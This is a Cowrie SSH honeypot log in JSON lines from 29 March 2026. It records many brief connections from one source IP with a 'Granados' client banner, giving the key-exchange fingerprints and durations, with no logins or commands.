{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:45.287867Z","src_ip":"103.249.200.230","session":"5fa7cffc941e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:45.509613Z","src_ip":"103.249.200.230","session":"5fa7cffc941e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:45.514724Z","src_ip":"103.249.200.230","session":"5fa7cffc941e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":55281,"dst_ip":"10.17.0.5","dst_port":22,"session":"75ec589d8da4","protocol":"ssh","message":"New connection: 103.249.200.230:55281 (10.17.0.5:22) [session: 75ec589d8da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:46.726127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:46.960036Z","src_ip":"103.249.200.230","session":"75ec589d8da4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:47.175533Z","src_ip":"103.249.200.230","session":"75ec589d8da4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:47.181054Z","src_ip":"103.249.200.230","session":"75ec589d8da4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":55642,"dst_ip":"10.17.0.5","dst_port":22,"session":"71fa17a5cf2c","protocol":"ssh","message":"New connection: 103.249.200.230:55642 (10.17.0.5:22) [session: 71fa17a5cf2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:48.203420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:48.713471Z","src_ip":"103.249.200.230","session":"71fa17a5cf2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:48.941663Z","src_ip":"103.249.200.230","session":"71fa17a5cf2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:48.947360Z","src_ip":"103.249.200.230","session":"71fa17a5cf2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":56031,"dst_ip":"10.17.0.5","dst_port":22,"session":"35bed288acf1","protocol":"ssh","message":"New connection: 103.249.200.230:56031 (10.17.0.5:22) [session: 35bed288acf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:50.066136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:50.303724Z","src_ip":"103.249.200.230","session":"35bed288acf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:50.519370Z","src_ip":"103.249.200.230","session":"35bed288acf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:50.524389Z","src_ip":"103.249.200.230","session":"35bed288acf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":56381,"dst_ip":"10.17.0.5","dst_port":22,"session":"94abc8e421cf","protocol":"ssh","message":"New connection: 103.249.200.230:56381 (10.17.0.5:22) [session: 94abc8e421cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:51.637215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:51.890777Z","src_ip":"103.249.200.230","session":"94abc8e421cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:52.130398Z","src_ip":"103.249.200.230","session":"94abc8e421cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:52.135750Z","src_ip":"103.249.200.230","session":"94abc8e421cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":56732,"dst_ip":"10.17.0.5","dst_port":22,"session":"a810f614e799","protocol":"ssh","message":"New connection: 103.249.200.230:56732 (10.17.0.5:22) [session: a810f614e799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:52.993120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:53.216461Z","src_ip":"103.249.200.230","session":"a810f614e799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:53.434909Z","src_ip":"103.249.200.230","session":"a810f614e799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:53.439961Z","src_ip":"103.249.200.230","session":"a810f614e799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":57030,"dst_ip":"10.17.0.5","dst_port":22,"session":"51f436122444","protocol":"ssh","message":"New connection: 103.249.200.230:57030 (10.17.0.5:22) [session: 51f436122444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:54.268603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:54.554318Z","src_ip":"103.249.200.230","session":"51f436122444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:54.771221Z","src_ip":"103.249.200.230","session":"51f436122444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:54.776196Z","src_ip":"103.249.200.230","session":"51f436122444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":57471,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6d0f6b0015a","protocol":"ssh","message":"New connection: 103.249.200.230:57471 (10.17.0.5:22) [session: b6d0f6b0015a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:56.593032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:56.817801Z","src_ip":"103.249.200.230","session":"b6d0f6b0015a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:57.038028Z","src_ip":"103.249.200.230","session":"b6d0f6b0015a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:57.043377Z","src_ip":"103.249.200.230","session":"b6d0f6b0015a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":57759,"dst_ip":"10.17.0.5","dst_port":22,"session":"a187601371c1","protocol":"ssh","message":"New connection: 103.249.200.230:57759 (10.17.0.5:22) [session: a187601371c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:58.149055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:58.406760Z","src_ip":"103.249.200.230","session":"a187601371c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:58.624473Z","src_ip":"103.249.200.230","session":"a187601371c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:58.629966Z","src_ip":"103.249.200.230","session":"a187601371c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":58081,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc6712d22ede","protocol":"ssh","message":"New connection: 103.249.200.230:58081 (10.17.0.5:22) [session: cc6712d22ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:59.484123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:00.017658Z","src_ip":"103.249.200.230","session":"cc6712d22ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:00.240753Z","src_ip":"103.249.200.230","session":"cc6712d22ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:00.245235Z","src_ip":"103.249.200.230","session":"cc6712d22ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":58467,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffd8cddba453","protocol":"ssh","message":"New connection: 103.249.200.230:58467 (10.17.0.5:22) [session: ffd8cddba453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:01.282167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:01.917254Z","src_ip":"103.249.200.230","session":"ffd8cddba453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:02.134331Z","src_ip":"103.249.200.230","session":"ffd8cddba453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:02.140640Z","src_ip":"103.249.200.230","session":"ffd8cddba453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":58908,"dst_ip":"10.17.0.5","dst_port":22,"session":"966e059edc8c","protocol":"ssh","message":"New connection: 103.249.200.230:58908 (10.17.0.5:22) [session: 966e059edc8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:03.710394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:04.321476Z","src_ip":"103.249.200.230","session":"966e059edc8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:04.551538Z","src_ip":"103.249.200.230","session":"966e059edc8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:04.557191Z","src_ip":"103.249.200.230","session":"966e059edc8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":59321,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d751bfa024a","protocol":"ssh","message":"New connection: 103.249.200.230:59321 (10.17.0.5:22) [session: 2d751bfa024a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:05.615196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:06.015863Z","src_ip":"103.249.200.230","session":"2d751bfa024a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:06.232538Z","src_ip":"103.249.200.230","session":"2d751bfa024a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:06.238246Z","src_ip":"103.249.200.230","session":"2d751bfa024a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":59632,"dst_ip":"10.17.0.5","dst_port":22,"session":"89748d138a78","protocol":"ssh","message":"New connection: 103.249.200.230:59632 (10.17.0.5:22) [session: 89748d138a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:07.272028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:07.561224Z","src_ip":"103.249.200.230","session":"89748d138a78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:07.787722Z","src_ip":"103.249.200.230","session":"89748d138a78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:07.792730Z","src_ip":"103.249.200.230","session":"89748d138a78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":59998,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c9398d1a74d","protocol":"ssh","message":"New connection: 103.249.200.230:59998 (10.17.0.5:22) [session: 7c9398d1a74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:09.520330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:12.044561Z","src_ip":"103.249.200.230","session":"7c9398d1a74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:12.265794Z","src_ip":"103.249.200.230","session":"7c9398d1a74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:12.271177Z","src_ip":"103.249.200.230","session":"7c9398d1a74d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":60640,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2e0faca68f5","protocol":"ssh","message":"New connection: 103.249.200.230:60640 (10.17.0.5:22) [session: f2e0faca68f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:14.170554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:14.407282Z","src_ip":"103.249.200.230","session":"f2e0faca68f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:14.623779Z","src_ip":"103.249.200.230","session":"f2e0faca68f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:14.630330Z","src_ip":"103.249.200.230","session":"f2e0faca68f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":60892,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee376d9971e7","protocol":"ssh","message":"New connection: 103.249.200.230:60892 (10.17.0.5:22) [session: ee376d9971e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:15.626733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:15.853531Z","src_ip":"103.249.200.230","session":"ee376d9971e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:16.073448Z","src_ip":"103.249.200.230","session":"ee376d9971e7","protocol":"ssh"}
